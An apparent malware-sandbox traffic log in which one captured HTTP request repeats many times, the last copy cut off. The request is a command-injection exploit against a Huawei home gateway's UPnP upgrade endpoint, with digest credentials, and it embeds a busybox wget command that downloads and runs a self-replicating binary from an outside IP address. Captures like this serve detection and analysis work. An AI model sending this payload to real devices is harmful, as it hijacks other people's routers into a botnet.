Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 